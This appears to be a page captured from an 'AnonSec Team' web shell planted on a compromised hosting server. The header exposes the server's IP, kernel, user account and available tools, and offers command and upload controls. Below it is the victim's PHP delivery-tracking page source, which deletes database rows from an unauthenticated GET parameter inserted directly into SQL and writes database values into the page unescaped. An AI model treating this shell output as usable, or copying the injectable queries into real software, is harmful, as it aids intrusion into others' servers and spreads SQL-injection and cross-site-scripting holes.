AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/TEST/www/../../MCPRO/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/www/../../MCPRO/check_out.php
<?php

require_once 'config.php';
include_once 'code/init.php';

// echo "tttttttttttt<br/>" ; 
    $no=1;
    
    $message = false;
    $suppliers = array();
    $products = array();
    $check_out = array();
    $customerList = array();
    //where status ='pending'
   $select = "SELECT id , date , reference , client ,note ,local, client_nom FROM `check_out` ch  , client c  where ch.client = c.client_id  order by  date ";
   if($res = mysqli_query($conn,$select)){
   $count = mysqli_num_rows($res);
   
   }else{
       $count=0;
   }
   
   
  

   $select = "SELECT * FROM `check_out_produit`";
   $resu = mysqli_query($conn,$select);
   while ($ro = mysqli_fetch_array($resu)) {
     $products[] = $ro;
   }
    


    $select = "SELECT * FROM `produits`";
   $resu = mysqli_query($conn,$select);
   while ($pro = mysqli_fetch_array($resu)) {
     $productsList[] = $pro;
   }
   
   
   
   



   $resu = dbi_query("SELECT * FROM client where $agence= 47")  ; 
   // $select = "SELECT * FROM `client`";
   // $resu = mysqli_query($conn,$select);
   while($cus = dbi_fetch_row($resu)) {
   $customerList[] = $cus['client_id'];
   }

   
   // echo "<pre>" ; 
   // print_r($customerList) ; 
   // echo "</pre>" ; 
      	
	 // echo "testdddddddddd3333333333eeeddddt <br/>" ; 

// exit() ; 
   
 if(isset($_GET['delete'])){
  $del = $_GET['delete'];
  $query = "DELETE FROM check_out WHERE id='$del'";
  if(mysqli_query($conn,$query)){
    $query = "DELETE FROM check_out_produit WHERE check_out_id='$del'";
    if(mysqli_query($conn,$query)){
      header("location: check_out.php");
    }
  }
 }


?>
<!DOCTYPE html>
<html>
<head>
  <?php  require_once 'header.php'; ?>
  <style type="text/css">
  .modal-backdrop {
    /* bug fix - no overlay */    
    display: none;    
}
</style>
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">


  

 <!-- <aside class="main-sidebar"> -->
   <?php //require_once 'sidebar.php';  ?>
    <!-- /.sidebar -->
  <!-- </aside> -->

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">

<!-- Modal -->
<div class="modal fade" id="exampleModalLong" tabindex="-1" role="dialog" aria-labelledby="exampleModalLongTitle" aria-hidden="true">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="exampleModalLongTitle"></h5>
        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body">
        <table class="table table-bordered table-striped">
          <tr >
            <td>
              Référence:
            </td>
            <td id="checkOutReference">
              Reference:
            </td>
          </tr>

          <tr>
            <td>
              Date
            </td>
            <td id="checkOutDate">
              Date
            </td>
          </tr>

          <tr>
            <td >
              Client
            </td>
            <td id="checkOutCustomer">
              Customer
            </td>
          </tr>
        </table>
        <br>

        <table id="productTable" class="table table-bordered table-striped">
          <thead>
            <td>#
            </td>
            <td>Produit
            </td>
            <td>Quantité
            </td>
          </thead>
          <tbody><tr></tr></tbody>
          <tr></tr>
        </table>

        <p style="border: 1px;" id="productNote" readonly></p>

      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
        <!-- <button type="button" class="btn btn-primary">Save changes</button> -->
      </div>
    </div>
  </div>
</div>

    <!-- Content Header (Page header) -->
    <section class="content-header">
           <h1>
             Livraison Client 
            <small>  </small>
          </h1>
    </section>

    <!-- Main content -->
    <section class="content">
      <div class="row">
        <!-- left column -->
        
        <div class="col-md-12">
         
         <div class="box" >
            <div class="box-header text-right">
              <h3 class="box-title">
                <a href="add_check_out.php" class="btn btn-primary">Nouvelle Livraison</a>
              </h3>

            </div>
            <!-- /.box-header -->
            <div class="box-body">
           
                <div></div>
              <table id="tables" class="table table-bordered table-striped" >
                <thead>
                <tr>
                  <th>Num</th>
                  <th>Date</th>
                  <th>Référence</th>
                  <th>Client</th>
                   <th>Note</th>
                   <th>Action</th>
                  
                </tr>
                </thead>
                <tbody>
               <?php if(!$count<=0){ while($row = mysqli_fetch_array($res)) {  

                $check_out[] = $row;
				 $check_out[] = int2date($row['date']);
				// echo "<pre>" ; 
				// print_r($check_out) ; 
				// echo "</pre>" ; 
                $rowid = $row['id'];
                    ?>
                    <tr>
                        
                        
                  <td><?php echo $no++;  ?></td>
                  <td><?php echo int2date($row['date']);  ?></td>
                   <td><?php echo $row['reference'];  ?></td>
                    <td>
                      <?php
					 list($nom , $prenom) =  dbi_fetch_row(dbi_query( " SELECT client_nom , client_pnom FROM  client where `client_id` = ".$row['client'])) ; 
			             // echo "=====>".$row['client'] ; 
                       
					   echo $nom." ".$prenom  ; 
					   ?>
                        
                      </td>
                    <td><?php echo $row['note'];  ?></td>
                    <td><a  href="<?php echo $_SERVER['PHP_SELF'].'?delete='.$rowid; ?>" style="color:#000000;" ><i class="fa fa-fw fa-eraser" ></i></a>
                      <a id="rowValue" href="<?php echo "edit_check_out.php".'?edit='.$rowid; ?>" style="color:#000000;"><i class="fa fa-fw fa-pencil-square-o"></i></a>
                    </td>
                    
                         
                    <?php  } }?> 
             
              
            
                </tfoot>
              </table>
            </div>
            <!-- /.box-body -->




          </div>
          <!-- /.box -->

        </div>
     
      </div>
      <!-- /.row -->


    </section>
    <!-- /.content -->
  </div>


  <!-- /.content-wrapper -->
  <footer class="main-footer">
   
  
  </footer>

</div>
<!-- ./wrapper -->

<!-- page script -->
<script>
  $(function () {
    $("#tables").DataTable();
    $('#example').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": false,
      "info": true,
      "autoWidth": false
    });
  });

$(document).ready(function() {
    $('#tables tr').click(function(e) {
      $("#productTable").empty();
      $('#productTable').append('<thead><td>#</td><td>Produit</td><td>Quantité</td></thead>');
      var table = $('#tables').DataTable();
      var data = table.row(this).data();
      var tempId = data[5].split("?edit=");
      var tempId = tempId[1].split('"');
      // var table = $('#tables').DataTable();
      // var data = table.row( this ).data();
      // var tempId = data.pop().split("?edit=");
      // var rowEdit = document.getElementById("rowValue");
      // var rowHref = rowEdit.getAttribute('href');
      // var splitHref = rowHref.split("=");
      var rowId =tempId[0];
      var te = 1;
        var arr = <?php echo json_encode($check_out); ?>;
        var prod = <?php echo json_encode($products); ?>;
        var prodList = <?php echo json_encode($productsList); ?>;
        var custList = <?php echo json_encode($customerList); ?>;
        var customer = "";
        for(var i=0; i < arr.length; i++){
         if(rowId == arr[i][0]){
          document.getElementById('exampleModalLongTitle').innerHTML = "<b>Checked Out ID: "+arr[i][0]+"</b>";
          document.getElementById('checkOutDate').innerHTML = "<b>"+arr[i+1]+"</b>";
          document.getElementById('checkOutReference').innerHTML = "<b>"+arr[i][2]+"</b>";
          document.getElementById("productNote").innerHTML = "<b style='color: red;'>Note</b><b>"+arr[i][4]+"</b>";
          for(var n=0; n < custList.length; n++){
            if(custList[n][0] == arr[i][3]){
              customer = custList[n][1];
            }
          }
          document.getElementById('checkOutCustomer').innerHTML = "<b>"+arr[i][6]+"</b>";
          for(var l=0; l<prod.length; l++){
            if(prod[l][1] == arr[i][0]){
              for(var p = 0; p < prodList.length; p++){
                if(prodList[p][0]==prod[l][2]){
                  $('#productTable').append('<tr><td>'+te+'</td><td>'+prodList[p][3]+'</td><td>'+prod[l][3]+'</td></tr>');
                }
              }
              te++;
            }
          }
         }
        }
        $('#exampleModalLong').modal('show');
    });
});

$('#myModal').on('shown.bs.modal', function () {
  $('#myInput').trigger('focus')
});


</script>
    

</body>
</html>


AnonSec - 2021